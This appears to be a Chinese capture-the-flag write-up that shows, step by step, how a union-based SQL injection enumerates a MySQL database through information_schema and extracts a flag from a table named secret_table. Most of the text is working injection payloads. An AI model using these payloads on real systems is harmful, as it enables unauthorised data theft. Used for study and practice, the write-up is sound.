如题目环境报错,稍等片刻刷新即可。
判断该题目可能为sql注入方面的题目,采用sql注入万能密码尝试注入,回显正常。
1' union select 1,2,3#
其中2位和3位为回显位,因此构建语句,获取数据库名和版本。(news和版本5.5.61)
1' union select 1, database(),version()#
mysql中的information_schema结构用来存储数据库系统信息,information_schema结构中这几个表存储的信息,在注入中可以用到如下几个表。
SCHEMA:存储数据库名,---SCHEMA_NAME 表示数据库名称。
TABLES:存储表名,---TABLES_SCHEMA表示表所属的数据库名称;TABLES_NAME表示所属的表的名称。
COLUMNS:存储字段名的,---COLUMNS_NAME表示字段名。
查看数据库名称,构架语句,让其回显。
1' union select 1,2,group_concat(SCHEMA_NAME) from information_schema.schemata#
查看当前数据库下的表。可以看到存在两个表secret_table和news。
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
猜测flag存在于secret_table中,因此构建语句,查看该表的属性值。
1' union select 1,4,column_name from information_schema.columns where table_name = 'secret_table'#
找到flag字段。
1' union select 1,4,fl4g from secret_table#